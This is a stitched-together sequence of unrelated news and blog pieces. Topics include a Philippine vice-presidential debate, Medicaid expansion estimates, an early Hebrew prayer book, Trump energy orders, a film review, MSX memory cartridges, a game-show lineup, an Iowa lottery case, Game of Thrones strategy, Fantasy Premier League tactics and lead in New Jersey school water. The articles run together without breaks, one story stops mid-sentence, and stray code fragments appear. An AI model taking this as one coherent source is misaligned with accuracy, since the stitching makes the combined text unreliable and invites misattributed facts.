“Iyong pinanggalingan natin na history napakaiba. Parang we were off to a good start before. Naantala lahat because of the abuses during the Marcos years. Hindi ito puwedeng kalimutan na lang. Hindi pa nase-serve iyong justice sa lahat ng mga naging biktima ng martial law,” she said.
(Our historical perspective is different. We were off to a good start before. But that was stopped because of the abuses during the Marcos years. We can’t just forget this. Justice has yet to be served to the victims of martial law.)
“Tama naman siya, na dapat iyong leader is someone who can unite people. But all this can happen only if justice has been served (He’s right, we need a leader who can unite people. But this can only happen if justice has been served),” she added.
During the vice-presidential debate, Robredo said the Marcos family should return the billions stolen from the country, to which the senator retorted: “I cannot give what I do not have.”
“Marami pang judgments iyong foreign courts na hindi pa nasasatisfy. May judgment iyong Swiss court, may judgment ang Singapore court, hindi pa iyon nasa-satisfy. At iyon ay maliit na maliit na bahagi lang ng hidden wealth,” said Robredo. (There are judgments from foreign courts that have yet to be satisfied. There’s a judgment from the Swiss Court, from a Singapore Court. Those have yet to be satisfied. And those are just a fraction of their hidden wealth.)
Should the younger Marcos be judged for the sins of his father?
“Tama naman iyon, I cannot apologize for the sins of my father, as a general rule, tama iyon. Pero kung nakinabang ka doon, kabahagi ka doon,” said Robredo. (It’s true what he said, "I cannot apologize for the sins of my father." As a general rule, that’s right. But when you benefited from the sins of the father, it's your sin too.)
Marcos was around 28 years old when the EDSA Revolution toppled the Marcos dictatorship. He first entered politics when he was 23 years old, as vice governor of Ilocos Norte, and was governor of the province when his father was unseated.
Senator Sergio Osmeña III, a supporter of Robredo, had earlier said a Marcos victory would "show that our moral standards are not high."
The younger Marcos dismissed Robredo's statement, telling reporters in Bacolod City on Tuesday: "I’m happy that she’s already proclaiming me. Maybe she should endorse me for vice president."
"Sasabihin niya lahat para sabihin na masama ang kandidatura ko and huwag akong iboto (She would say anything so people will say I’m a bad candidate and that will not vote for me)," said Marcos of Robredo. – with a report from Marchel Espina/Rappler.com11-29-2016 (Photo: ) http://JohnBatchelorShow.com/contact http://JohnBatchelorShow.com/schedules http://johnbatchelorshow.com/blog Twitter: @BatchelorShow
Obamacare and the States Concocting the Medicaid Expansion Numbers? LarryKudlow, CNBC. @BrianBlase, @Mercatus
“…In March 2016, CBO estimated that 13 million additional people would be enrolled in Medicaid on average in 2016 as a result of the ACA. The agency projected that 11 million, or roughly 85%, would be eligible because of the ACA. These are non-disabled, working age, adult enrollees with income between the state’s previous eligibility threshold and 138 percent of the federal poverty line—the income level to which the ACA expanded Medicaid. The other 2 million consist of people who were eligible for Medicaid under states’ previous eligibility criteria but who came out of the “woodwork” as a result of the ACA. ngIf: initialized && active Gruber and his coauthors, using data from the Census Bureau, estimate that Medicaid “produced 63% of the gains [in coverage] that we identified” for 2014. They also found that much of this gain was attributable to the enrollment in Medicaid of people who were eligible for the program under criteria that preceded the ACA’s Medicaid expansion: Perhaps less obviously, we also found a substantial increase in Medicaid coverage among children and adults who were already eligible for the program before 2014. This population accounted for 44% of the coverage increase….”
http://www.forbes.com/sites/theapothecary/2016/11/27/new-gruber-study-raises-major-questions-about-obamacares-medicaid-expansion/#5db08105c936
http://www.nejm.org/doi/pdf/10.1056/NEJMp1609016Scholars are calling a rare Hebrew text dating back to the 9th century the earliest known Jewish prayer book, predating the world's oldest Torah scroll.
The 50-page book is 4.3 inches tall and about 4 inches wide and is written in an archaic form of Hebrew, on pages of aged parchment. The text includes 100 Jewish blessings and discusses topics such as the apocalyptic tale of the End Times and the Passover Seder.
Carbon testing dates the prayer book to the year 840, which is 300 to 400 years before the oldest known Torah scroll from the 12th and 13th centuries.
"This find is historical evidence supporting the very fulcrum of Jewish religious life," said Jerry Pattengale, executive director of the Green Scholars Initiative, the group that announced the find. "This Hebrew prayer book helps fill the gap between the Dead Sea Scrolls and other discoveries of Jewish texts from the ninth and tenth centuries."
"This was a liturgical set of prayers, hymns and poems used for various occasions," Pattengale told the Huffington Post. "The prayer book is really what most of the Jewish community would be in touch with on a daily basis, [creating] a connection between the Bible and their daily worship."
The book is the Jewish equivalent of an early complete edition of the Christian Book of Common Prayer.
Started by the Green family of the retail chain Hobby Lobby, the Green Scholar's Initiative is the research arm of The Green Collection, one of the world's largest private collections of biblical texts and artifacts containing more than 40,000 items.
The prayer book which was purchased from a private collector will be on display in a yet-to-be named biblical museum set to open in March 2017 in Washington, D.C.BY:
A Texas Democrat launched an uneducated and distasteful attack on Attorney General Greg Abbott for "rolling around" in his wheelchair during a rally with gubernatorial candidate Wendy Davis on Saturday.
State Representative Dawnna Dukes drove home the Davis campaign's message that they are willing to sink to new lows in attacking Abbott for ‘hypocrisy' because he successfully sued for injuries 30 years ago and pushes for tort reform in personal injury cases.
Davis's campaign has been under fire for an attack ad that draws attention to Abbott's disability.
"And then we have this guy who just kind of rolls around thinking that he can get tort reform for himself but take it away from everybody else in the state of Texas," Dukes said.
Abbott did not seek punitive damages in his lawsuit and has successfully deflected criticism that his settlement would not have been awarded under tort reform laws he has championed.
Nevertheless, Davis later thanked Dukes for her appearance and made no attempt to denounce Dukes' reference to Abbott's disability.U.S. President Donald Trump this week will sign new executive orders before he completes his first 100 days in office, including two on energy and the environment, which would make it easier for the United States to develop energy on and offshore, a White House official said on Sunday.
“This builds on previous executive actions that have cleared the way for job-creating pipelines, innovations in energy production, and reduced unnecessary burden on energy producers,” the official said on condition of anonymity.
On Wednesday, Trump is expected to sign an executive order related to the 1906 Antiquities Act, which enables the president to designate federal areas of land and water as national monuments to protect them from drilling, mining and development, the source said.
On Friday, Trump is expected to sign an order to review areas available for offshore oil and gas exploration, as well as rules governing offshore drilling.
The new measures would build on a number of energy– and environment-related executive orders signed by Trump seeking to gut most of the climate change regulations put in place by predecessor President Barack Obama.
A summary of the forthcoming orders, seen by Reuters, say past administrations “overused” the Antiquities Act, putting more federal areas under protection than necessary.
Obama had used the Antiquities Act more than any other president, his White House said in December, when he designated over 1.6 million acres of land in Utah and Nevada as national monuments, protecting two areas rich in Native American artifacts from mining, oil and gas drilling.
The summary also says previous administrations have been “overly restrictive” of offshore drilling.
Late in Obama’s second term, he banned new drilling in federal waters in parts of the Atlantic and Arctic Oceans using a 1950s-era law that environmental groups say would require a drawn out court challenge to reverse.
For more on Trump’s environmental policies, watch Fortune’s video:
Interior Secretary Ryan Zinke said during his January confirmation hearing that Trump could “amend” Obama’s monument designations but any move to rescind a designation would immediately be challenged.
Last month, Trump signed an order calling for a review of Obama’s Clean Power Plan, and reversed a ban on coal leasing on federal lands.
In addition to the energy-related orders, Trump is also expected this week to sign an order to create an office of accountability in the Veterans Affairs department.
He is also expected to create a rural America interagency task force to recommend policies to address issues facing agricultural states.Photo: James Bridges/Twentieth Century Fox
In the exquisitely tasteful adaptation of John Green’s romantic cancer book The Fault in Our Stars, two mortally ill teens struggle to identify something in their fleeting existence that will endure. Sixteen-year-old Hazel (Shailene Woodley) projects her own mortality onto the world: Humans will perish, she says, and no one will remember Mozart, let alone someone like her—so what’s the point? Enter handsome high-school ex–basketball star Augustus (Ansel Elgort), who lost part of one leg but is now in remission. He falls for Hazel on sight and—in his witty, winsome way—fights against her nihilism. Oblivion is unacceptable, he says. There must be a point. Although Hazel and Augustus speculate about God and heaven, it’s no surprise where that point is finally found: in the infinity that is their love.
I know people who wept watching the trailer, which features the first and last lines and gives away nearly everything else. (And they say critics spoil movies.) They’ll probably sob at the film, too—although for pure, concentrated pathos, it’s hard to beat that trailer. There were times I felt a tingling in my tear ducts and almost let loose. But something rubbed me wrong about the opening voice-over, in which Hazel warns that the story she’s about to tell won’t be like one of those movies where everything gets solved with “a Peter Gabriel song.” (Dear Hazel: Eat me. Sincerely, Lloyd Dobler.) What’s being peddled as the raw truth is pretty slick. As directed by Josh Boone, written by Scott Neustadter and Michael H. Weber of (500) Days of Summer, and packed with soon-to-be hits by Ed Sheeran and others, The Fault in Our Stars is engineered to wriggle around your defenses. Hazel and Augustus trade quips (“I love it when you talk medical to me”) and do all sorts of goofy things, but just when you’re lulled into believing you’re watching a romantic comedy, you get slapped into silence by the return of the Big C.
The film does, however, have the best weapon in the world against the perception of slickness: an actress without a smidgen of actressiness. Woodley has a face that can look plain in repose and startlingly beautiful in motion, when her delicate pink skin becomes near translucent. I know it’s the way of all saps to believe that actors are as warm and true in life as they are onscreen, but if I ever heard that Woodley were an insufferable diva, I’m not sure I could handle it. Emma Roberts, sure. But not Shailene.
Related Stories Shailene Woodley and Brie Larson Are Out to Conquer Hollywood—and Fix It
Elgort isn’t so convincing, though few other actors could pull off a part this phony—and don’t say, “But I love Augustus,” because I do, too, much as I love Casper the Friendly Ghost. When Hazel says she’ll break his heart, he replies, “It would be a privilege to have my heart broken by you.” When she says she’s a “grenade” that could explode at any time, he replies, “It would be an honor to have your innards dribbling down my face.” (Not really, but he could have.) He uses her middle name—Hazel Grace—to remind her (and us) she’s an angel. Even his creepiness is meant to be endearing. The way he stares and stares at her: It’s not stalkerish, it’s cutting adorably to the chase. He often has a cigarette in his mouth, not to smoke but to symbolize his defiance of death. (The constant association between tobacco and the grave is laudable, although to my taste Augustus still looks too glamorous waving that cancer stick around.) It’s probably a testament to Woodley that I ended up setting aside my doubts like a loving parent: “I don’t buy him, but if he makes her happy …”
To elevate the story to the level of myth, Green sends the couple on a quest to meet the reclusive author of a book Hazel loves about a girl with cancer—a novel that cuts off annoyingly at the moment of death, much like the finale of The Sopranos. Hazel needs to know what happens to the other characters—an obvious extension of her need to know what will happen to her parents and friends in a world without her in it. The subplot is tolerably meta on the page but too literary onscreen, although it does give Willem Dafoe a fun scene as the clammy Dutch boozehound with a beard crawling up his face like a fungus. And it’s a welcome change of scenery, transporting our heroes to the romantic paradise that is Amsterdam and that most aphrodisiacal of sites, the Anne Frank House, where Hazel is finally compelled to surrender to her passion. Their clinch is a mite tacky, but at least it’s not Dachau.
The intriguing Nat Wolff (late of the Naked Brothers Band) supplies some bite as Augustus’s friend Isaac, who loses both his second eye and his girlfriend at roughly the same moment. (The message: Not all “love” is for always.) And Laura Dern is a perfect match for Woodley as Hazel’s emotionally overflowing mother, her squiggly mouth even wider than usual. Whatever its faults (they’re not in its stars), the movie evokes the heightened intensity of life in the shadow of death—the drive to create meaning where none (probably) exists.
The Fault in Our Stars. Directed by Josh Boone, Fox, PG-13.
*This article appears in the June 2, 2014 issue of New York Magazine.λ Functional Swift Conference 2017 April 15, Brooklyn
On April 15, 2017, a small conference on the topic of Functional Programming in Swift will happen in Brooklyn (similar to the 2014, 2015 and 2016 editions). We will have a day filled with awesome talks and lots of great conversation.
Speakers
Venue
Kickstarter has kindly offered to host us, and provide snacks, lunch, and drinks. Their offices are located at 58 Kent St, Greenpoint, close the G train and Greenpoint Ferry Terminal.
Schedule
Join us at 10am for breakfast snacks and conversations with other functional programming enthusiasts. There will be 30m talks, lunch will be served around 1pm, and the entire conference should be over around 6pm.
Tickets
Tickets are available here.
Inclusivity Policy
We think that diversity is important: people are diverse, problems and opportunities are diverse, and conferences are better when they reflect that. Here is our inclusivity policy.
Organizers
This event is organized by Brandon Williams and Chris Eidhof. If you have questions or need to contact us you can email us at the following addresses:
Brandon Williams: [email protected]
Chris Eidhof: [email protected]
Previous Editions
2014 (Brooklyn): See the old website for a short recap (and videos).
2015 (Brooklyn): See the old website for a short recap (and videos).
2016 (Budapest): See the old website for a short recap (and videos).Multi-review: MSX Memory Mapper, MEGA-MAPPER and MEMORY SAMURAI (Part 1 of 2) Posted by MSX, Retro, Reviews, Posted by Javi Lavandeira in Hardware Technology | July 13, 2016
Facebook Twitter Google+ LinkedIn
How do you even review a memory expansion cartridge? Usually you just plug it into a cartridge slot, turn on the computer, and that’s all: your MSX computer now has more memory. There isn’t really much else to say, or at least there wasn’t, until now.
In this review we’re going to see two traditional MSX memory expansions (Repro Factory‘s MSX Memory Mapper and 8bits4ever!‘s MEGA-MAPPER), plus a very special new arrival: Classic PC & Game Rescue Committee’s MEMORY SAMURAI, which brings an astonishing 16MB of memory to our MSX computers.
I’ve never seen so much memory in an MSX computer before, much less know what to do with it. It is awesome nonetheless.
Keep reading, because there’s a lot to talk about.
First, some technical background
All these cartridges are memory mappers. Before getting into the review itself I’m going to explain roughly how memory works in MSX computers.
Slots
The CPU in MSX computers is the Zilog Z80 (or a compatible one). This processor can access only 64KB of memory at a time, so in order to use more memory the MSX uses a technique known as bank switching. The MSX has up to four memory banks of 64KB each, called slots.
It works like this: the Z80 address space is split up in four 16KB pieces called pages:
Then, using a hardware mechanism, the programmer selects what memory bank will appear on each memory page of the CPU. This means that page 0 of the CPU address space can be connected to page 0 from slots 0 to 3, page 1 of the CPU can be page 1 from slots 0 to 3, and so on.
As an example, the Toshiba HX-10 (64KB model) has this memory configuration:
ROM in pages 0 and 1 of slot 0
RAM in pages 0 to 3 of slot 2
Slots 1 and 3 are connected to the cartridge slots.
Pages 2 and 3 of slot 0 are unused
When this machine boots into MSX BASIC it starts with this slot configuration:
All MSX generations support this kind of bank switching, from the most basic MSX(1) computer to the most powerful MSX turbo R.
We can easily see that using only these slots an MSX computer can have at most 256KB of total memory, after adding together ROM, RAM, and whatever we plug into the cartridge slots.
Subslots
The second generation of MSX computers extended the concept of slots in order to allow for more memory. From MSX2 and up a slot can be extended in order to support up to four subslots (also called extended, secondary, or expanded slots).
The Z80 address space is still split into four 16KB pages, and each of them can be connected to any slot from 0 to 3 as before. However, when a page is connected to a slot that is extended we have to also specify a subslot.
As an example, the Panasonic FS-A1F. This machine is a basic MSX2 with 64KB of RAM, the A1 Cockpit application in ROM, and a floppy disk drive. It has the following slot configuration:
Slots that aren’t expanded are known as primary or basic slots. In the case of the Panasonic FS-A1F, slots 0, 1 and 2 are primary, and slot 3 is expanded.
Expanded slots cannot be expanded any further.
A simple calculation gives that if all slots were expanded (which never happens), an MSX2 computer (or higher) could have at most 1MB of total memory, if we were relying only on these memory banks.
Using slots and subslots works well enough for the applications that come integrated with the computer and for system ROMs. However, having several subslots full of RAM wouldn’t be very helpful because we can only connect a given slot/subslot page to the same page number of the CPU address space. Locating and using all the RAM in this situation is complicated for the programmer because of all the bank switching required.
Memory mappers
In addition to these, the MSX2 standard defines an optional extension to support more memory: the memory mapper. Most (if not all) the MSX2/MSX2+/MSX turbo R computers with more than 64KB of RAM use this.
The mapper consist in a collection of RAM blocks, each of them 16KB, called segments. Depending on its size it can contain from 4 to 256 of these segments, always in powers of two: 4, 8, 16, 32, 64, 128 or 256 segments for a total of 64, 128, 256, 512, 1024, 2048 or 4096 KB.
A mapper occupies the four pages of the slot or subslot to which it is connected, and there’s a hardware mechanism that allows the software to select what mapper segment is connected to each page of the slot:
Note that the same mapper segment can be assigned to more than one page simultaneously. In the example above, segment 0 is assigned to page 0 and 3 at the same time. This means that both pages contain a mirror of each other.
The Philips NMS 8250 is an MSX2 machine with a 128KB memory mapper connected to subslot 3-2. A possible memory configuration under MSX BASIC could be this:
The memory mapper is perfect for storing program data because we can very easily swap the visible segment(s) and put them in any page of the Z80 CPU.
Note that there can be more than one memory mapper in an MSX computer. MSX-DOS2 supports up to 8 of them. As a curiosity, after accounting for slots assigned to ROM an MSX can have a theoretical maximum of up to 52MB of RAM.
MSX1 computers can use memory mapper cartridges, but since the mapper is an MSX2 extension, software written with the MSX1 specification in mind will only be aware of the active 64KB, regardless of the mapper size. Some applications written for MSX2 and higher (such as the MSX-DOS2 operating system) will run just fine on an MSX1 and will be able to use the mapper without issues, as long as they don’t require any other hardware not present in the MSX1.
The reviews
Now that we know that a memory mapper is, let’s review the cartridges.
MSX Memory Mapper by Repro Factory
Manufacturer: Repro Factory
This is a 1MB (64 segments) memory mapper. It is very well built with a full-color label and uses the injection moulding cases built by Korean user Overrich, which are top quality. You wouldn’t be able to tell the difference between this product and something sold by a large-scale manufacturer during the commercial years of the MSX.
I don’t have much to say about how it works, because it’s dead simple: just plug it into an available slot cartridge. It works perfectly regardless of whether it’s plugged directly to a primary cartridge slot, or to an extended slot in an expander such as Supersoniqs‘ Modulon.
It’s also very economical: just 36 euro + shipping. However, it’s out of stock as of this writing and not listed anymore in Repro Shop’s online shop.
For just a little more (42 euro) Repro Factory also sells the Musical Memory Mapper, a version of this cartridge that in addition to the memory mapper also contains the Sega SG1000 sound chip. This cartridge is also out of stock, but you can register your email address to be notified when there are more units available.
This cartridge is sold standalone: no box and no instructions (they aren’t needed).
Summary
MSX Memory Mapper
Size: 1024KB (64 segments)
Price: 36 euro + shipping
Availability: currently unavailable
Packaging: none
Works on slot expanders: yes
Country of origin: France
Musical Memory Mapper
Size: 1024KB (64 segments)
Price: 42 euro + shipping
Availability: out of stock (ask Repro Shop for information about future batches)
Packaging: none
Works on slot expanders: yes
Country of origin: France
MEGA-MAPPER by 8bits4ever!
Manufacturer: 8bits4ever!
Like the MSX Memory Mapper this cartridge also uses Overrich’s case. It usually comes in black, but mine is white, kind of a limited edition. ;-)
As you can see in the photos below, the cartridges look fantastic:
As with all their other MSX products, this one is also very professionally built. It’s available in three sizes: 1MB, 2MB or 4MB and it’s also very economical: 45 euro (1MB version), 50 euro (2MB) or 55 euro (4MB) with worldwide shipping included. It works flawlessly both in the primary slot and in an slot expander. I have the 4MB version.
It arrives well protected in a cardboard case with a paper label. Nothing fancy, but it’s perfect to keep the cartridge nice and clean when not in use.
As of this writing it’s also out of stock, so please contact 8bits4ever! for availability.
Summary
MEGA-MAPPER
Size: 1024 / 2048 / 4096 KB (64 / 128 / 256 segments)
Price: 45 / 50 / 55 euro (worldwide shipping included)
Availability: out of stock (ask 8bits4ever! for information about future batches)
Packaging: cardboard box with bubble-wrap
Works on slot expanders: yes
Country of origin: Spain
MEMORY SAMURAI by Classic PC & Game Rescue Committee
Manufacturer: Classic PC & Game Rescue Committe
This one is a very different beast. At 16 MB, it is, to my knowledge, the biggest memory expansion built so far for MSX computers. If I’m not mistaken, it’s the biggest memory expansion that can be built. Update: Laurens points out that the Playsoniq also comes with a 16 MB mapper. Thanks!
However, that’s not the only striking feature of this cartridge. The case design itself is another first, and it looks very different from any other MSX cartridge I’ve ever seen, while still looking good.
Because of these two points this one requires a more extended review. Stay tuned for the next day or two.Here’s Koei Tecmo’s Tokyo Game Show 2016 Lineup, Surprise From Company CEO/Producer Expected
By Sato. August 25, 2016. 4:30am
Koei Tecmo revealed their lineup of games we can expect to see from them at Tokyo Game Show 2016, where we can also expect to see a surprise from producer Kou Shibusawa.
In case you didn’t know, Kou Shibusawa is a producer at Koei Tecmo who has worked on various titles over the years. His real name is Yoichi Erikawa, and founded Koei with his wife Keiko Erikawa back in 1978. He currently serves as the company’s CEO and president, so this “surprise announcement” will likely be for something big.
Here’s a look at the lineup of titles that has been revealed so far:
AKB48’s Ambition – Android, iOS, PC, FP (New Trailer)
Atelier Firis: Alchemist of the Mysterious Journey – PS4, PS Vita (Playable Demo, New Trailer, Stage Show, Live Broadcast)
Berserk – PS4, PS3, PS Vita (Playable Demo, New Trailer, Stage Show)
Blue Reflection: Sword of the Girl Dancing in Illusion – PS4, PS Vita (New Trailer, Live Broadcast)
Dead or Alive 5: Last Round – PS4, PS3, Xbox One (Live Broadcast)
Dead or Alive Xtreme 3 – PS4, PS Vita (Live Broadcast)
Geten no Hana with Yume Akari Aizouban – PS Vita (New Trailer)
Harukanaru Toki no Naka de 6: Gentou Rondo – PS Vita (New Trailer)
Nights of Azure 2: Bride of the New Moon – PS4, PS Vita (New Trailer, Stage Show, Live Broadcast)
Nioh – PS4 (Playable Demo, New Trailer, Stage Show)
Nobunaga’s Ambition 201X – PS Vita, Android, iOS, PC (New Trailer)
Nobunaga’s Ambition for A Million People – Android, iOS, PC, FP (New Trailer, Stage Show, Live Broadcast)
Nobunyaga’s Ambition – Android, iOS, PC (New Trailer, Stage Show)
Romance of the Three Kingdoms for A Million People – Android, iOS, PC, FP (New Trailer, Live Broadcast)
Romance of the Three Kingdoms XIII with Power-Up Kit – PS4, PS3, PC (Live Broadcast)
Samurai Warriors: Sanada Maru – PS4, PS3, PS Vita (Playable Demo, New Trailer, Stage Show, Live Broadcast)
Toukiden 2 – PS4, PS3, PS Vita (Stage Show)
Toukiden: Mononofu – Android, iOS (New Trailer, Stage Show)
Winning Post 2016 for A Million People – Android, iOS, PC, FP (New Trailer, Stage Show, Live Broadcast)
Winning Post Stallion – Android, iOS (New Trailer, Stage Show, Live Broadcast)
Tokyo Game Show runs from September 15 through September 18, 2016 at the Makuhari Messe in Tokyo.IOWA CITY, Iowa — Three friends involved in buying tickets and claiming jackpots that allegedly were fixed by a state lottery insider have something else unusual in common, prosecutors say: They hunt for Bigfoot in their spare time.
In a legal motion that is as strange as the elusive humanoid, Iowa prosecutor Rob Sand asked a judge Monday to bar any discussion of Bigfoot hunting at the upcoming trial of Eddie Tipton, the lottery official accused of fixing multiple jackpots, including in Colorado.
“The prejudicial effect could potentially be as strong as Sasquatch itself,” Sand wrote. “Jurors could be incredulous. They could find it unusual enough that it outweighs other evidence in their mind.”
Tipton is the former Multi-State Lottery Association security director who is accused of rigging jackpots in Colorado, Iowa, Wisconsin, |
Night King
All of the White Walkers’ seemingly aimless wandering paid off the moment undead Viserion punched a hole in the Wall itself. Now the Night King’s forces are streaming into Westeros proper, where they have access to huge human population centers that they can kill and then raise as wights. The army of the dead is the scariest it’s ever been.
This is all thanks to the Night King’s patient strategy.
The conflict in the North was defined by what scholars call the offense/defense balance. The term, coined by Columbia University’s Robert Jervis, refers to the idea that technology can fundamentally shape whether states are likely to go to war. The Wall was a dominant defensive technology — it made it difficult, if not impossible, for the White Walkers to actually mount a successful assault on the Seven Kingdoms. The Night King correctly identified this challenge, and focused his energies on killing humans and giants and bears north of the Wall that could then be raised to make his army stronger. In essence, he engaged in a massive military buildup while waiting for a time when technological developments would shift the offense/defense balance.
And it did, the minute Daenerys sent dragons into his grasp. When the Night King killed Viserion and took control of him, he gained control of a technology that trumped the human’s chief defensive technology. He then attacked essentially immediately, busting through the Wall and into the North while the bulk of the human forces were deployed down south.
With undead Viserion in his grasp, the Night King is arguably the most powerful military force in Westeros. And he’s in a prime position to make his army stronger by sweeping across the North.
1) Cersei Lannister
Who else could it be?
At the beginning of the season, Cersei was isolated and friendless. She was surrounded by enemies, her kingdom was deeply in debt to the Iron Bank, and she was facing a kind of military threat — dragons — that she simply had no answer to. It seemed like most people, as my colleague Andrew Prokop writes, expected her to die this season.
She didn’t — and, in fact, she ended up in a position where she could plausibly win a war that once seemed impossible. She had neutralized a number of opponents, recruited Euron and the all-powerful Iron Bank to her side, used the Iron Bank to finance the purchase of a powerful mercenary force, and pitted her two most dangerous enemies (Daenerys and the Night King) against each other.
To understand Cersei’s success, we need to reach back to the classic work of Prussian military theorist Carl von Clausewitz.
Clausewitz is most famous for his book On War, specifically the phrase “war is simply a continuation of politics with other means.” This is a commonly (mis)quoted phrase, but its meaning is actually quite subtle. Clausewitz is arguing that war is one tool of statecraft and nothing more. The goal of fighting is the same as the goal of economic sanctions or diplomatic negotiations: to accomplish a desired political end. Just because it’s bloodier doesn’t make it fundamentally different.
Cersei, to her credit, internalized this lesson more than anyone else. She dedicated herself to one objective — protecting the survival of the Lannister dynasty and the life of her unborn child — and centered every tool of statecraft on accomplishing that goal.
She pledged to marry an unpleasant pirate, exposed a large chunk of her army to dragon fire in the name of acquiring vital gold to pay back the Iron Bank, and even let her ancestral home of Casterly Rock fall to put her enemy in a strategically vulnerable situation. No other Westerosi power thought as creatively about how to link the major aspects of state power — military, economic, and diplomatic — in order to accomplish a particular political end.
My guess is that Cersei’s approach will all come crashing down on her head next season, owing to her alienation of her brother and paranoid, backstabby ways. But that’s a guess. Just looking at the arc of season seven, it’s clear that no one played the Game of Thrones better than Cersei Lannister.
Correction: An earlier version of this piece said that Jenna Jordan is on the faculty at the University of Georgia. She in fact is at the Georgia Institute of Technology (Georgia Tech).It has long been recognised that one of the paths to success in the Fantasy Premier League is to deploy a 3-4-3 formation. The emphasis on a strong forward line, populated with three players who consistently score, backed up with a midfield quartet providing the assists and their fair share of goals, and a defence full of players who routinely keep clean sheets and pop up with the odd offensive contribution. It’s been a solid tactic for years in the FPL world.
Last season, Chelsea boss Antonio Conte raised eyebrows by adopting a strategy not seen since the mid-90’s; namely a back three with “flying wingbacks”. These players would operate further up the pitch, with more in common with orthodox wingers than left or right fullbacks. It worked. Chelsea won the league at a canter, seven points clear of second place Spurs and only one goal behind them as they finished as second highest goal scorers.
It is worth pointing out that Conte wasn’t the first manager to deploy the system that season, but without doubt he was the most effective. By the end of the season, even old dinosaur Arsene Wenger had been converted. He was the last remaining manager to remember the last time the system had been in vogue, having last used it in 1997.
It is not surprising then, that in FPL terms, before the season started and managers were lovingly drafting their squads, there was much chatter about stuffing the defence with these new flying wingbacks and reaping the inevitable points hauls they would generate. And many did. But unlike “real” football, the most popular fantasy formation continued to be the tried and trusted; 3-4-3, albeit with those three spots at the back being occupied by offensive wingbacks.
Now, in this article, I am not (believe it or not after that scene setter!) going to be debating the merits of whether this has indeed been a recipe for success. You can look yourself at the Top 10 highest points scoring defenders and see for yourself how many are in the list.
No, what I am going to be looking at is the OTHER end of the pitch, and perhaps try and convince you that the default 3-4-3 formation has perhaps had its day…
It should come as no surprise for anyone who plays the game to learn that forwards are very expensive. The most expensive player in the game is Harry Kane who started the season priced at £12.5m and is (at the time of writing) now a hefty £12.8m. He hasn’t scored in eight of the 14 games he has played this season – he sat out Gameweek 10 – but the fact he has scored a brace on four of his outings mean he has returned 10 goals already.
Why do I mention this? Well, many are losing faith/patience with him and are selling him in droves. They want more bang for their buck, evidently. That’s fair enough. And there are currently nine forwards ahead of him in the form table. But weed out those that have just been on a lucky streak (think Wilson, Austin, Calvert-Lewin, Firmino, Rooney and Vardy) and you’re really only left with Morata, Jesus and Lacazette ahead of Kane. And two of those are prone to rotation.
So what am I saying? I’m saying – and here comes the big reveal – that you should consider only owning ONE premium priced forward. Gasp. And that should be either Kane or Morata. You decide. Personally I think Kane will easily outscore Morata over the entire season, but right here right now, you may be better off with the Chelsea man.
Hang on then. Who do we sandwich either side of that premium forward? Well, you could take a look at some of those mid-range guys already mentioned. Maybe Vardy or Firmino? Both are reasonably priced at £8.6m and £8.5m respectively. So yes, you could look at either or both of those options…
But for me, the real value is ripping up the notion of 3-4-3 and instead going one up top with two budget options. I’m talking Calvert-Lewin (£5.2m) AND Austin (£6.0m) OR Wilson (£6.1m) OR Diouf (£5.6m). Or indeed whoever you like in that kind of price range. After all, the reason for this tactic switch is I’m trying to steer you towards where you SHOULD be investing your cash. In midfield.
Forget these flying wingbacks and these premium forwards. I believe we need to start loading up in midfield. I’m talking 3-5-2. Or 4-5-1. Just get a stellar quintuplet into your midfield and “set and forget”. The choices are mouth-watering. Salah (£9.9m) is the highest point’s scorer in the game and the only player so far to break into the “100 Club”. 113 points, 22 points ahead of his nearest rival, who is Man City’s seemingly rotation proof superstar De Bruyne (£10.2m).
At Chelsea, Hazard (£10.8m) is playing as well as he ever has. At Arsenal, Sanchez (£11.8m) seems to have rediscovered his mojo with three goals in his last four games. Sane (£8.8m) may have temporarily gone off the boil, but Sterling (£8.3m) is in the best form of his career. Mahrez (£8.4m) has found the kind of form that helped Leicester to a league title. Coutinho (£8.9m) is back on people’s radars after a goal and three assists last time out away at Brighton.
Ramsey (£7.2m) looks to have put his injury troubles firmly behind him and is playing so far up the field that he is now level for assists with the Man City duo of De Bruyne and Silva (£8.2m). The Spurs duo of Eriksen (£9.3m) and Alli (£9.1m) are off the boil at the moment, but as they say – “Form is temporary, class is permanent” so surely it is only a matter of time before they rediscover their points scoring ability.
There are a number of cheaper options too. Richarlison (£6.6m) at Watford; Stoke’s Shaqiri (£6.1m) and even Gross (£6.0m) are players that you could safely field in a five man midfield against any opponent.
If I was to pick a team right now that would work as a 3-5-2 or a 4-5-1 it would perhaps look something like this:
POPE (BUR)
SPERONI (CRY)
CHRISTENSEN (CHE)
MUSTAFI (ARS)
TRIPPIER (TOT)
OTAMENDI (MCI)
MARIAPPA (WAT)
HAZARD (CHE)
RAMSEY (ARS)
STERLING (MCI)
SALAH (LIV)
RICHARLISON (WAT)
KANE (TOT)
CALVERT-LEWIN (EVE)
HEMED (BHA)
This is obviously rough and ready and assumes you’ve made some money on top of the original £100m transfer kitty. The players in red would be the likely bench and the players in green would be the likely players rotating (dependent on fixture) to switch between a 3-5-2 or a 4-5-1. The consistency comes from always playing five in midfield. These can then be interchanged with form players with weekly transfers.
But I know I haven’t convinced some of you. And I wouldn’t expect to. It’s too radical to adopt a 3-5-2 or a 4-5-1 for some of you. Some of you are the Arsene Wenger’s of the fantasy world. You KNOW 3-4-3 works and come hell or high water you’re going to stick to your guns. Fine. It’ll probably come good. But in the meantime, you need to prepare yourself for the fact that inflexibility and unwillingness to accept the evidence before you mean that just like Arsene Wenger last season, you won’t change your tactics until it’s too late.
Wenger fielded three at the back (Gabriel, Koscielny and Holding) for a 2-1 away win at Middlesbrough. On the 17th April. Only a few weeks before the season ended and he lost his coveted 4th place to Liverpool. The damage had been done. The choice lies with you, though with the midfield options in FPL looking increasingly attractive, a switch to five in midfield could be the decision that propels you up the FPL rankings.
Written by @FPL_FLYCLOSE Senator Cory Booker and Congressman Josh Gottheimer announce legislation to ensure clean drinking water in schools. Tariq Zehawi/NorthJersey.com
Water samples for lead testing being taken from drinking fountains at Franklin Lakes Middle School in 2016. (Photo: NorthJersey.com)
Lead has been detected in more than half of the water fountains and sinks in 47 school districts tested in Bergen County, according to a new report by an environmental advocacy group.
The lead levels were high in many schools. The majority of the districts surveyed by Environment New Jersey had at least one fountain or sink where lead readings exceeded 15 parts per billion — the level set by the Environmental Protection Agency that requires districts to take some action. (See below for full list of locations tested.)
Many school districts have already shut down water fountains, replaced pipes and plumbing fixtures or installed filters to reduce the levels.
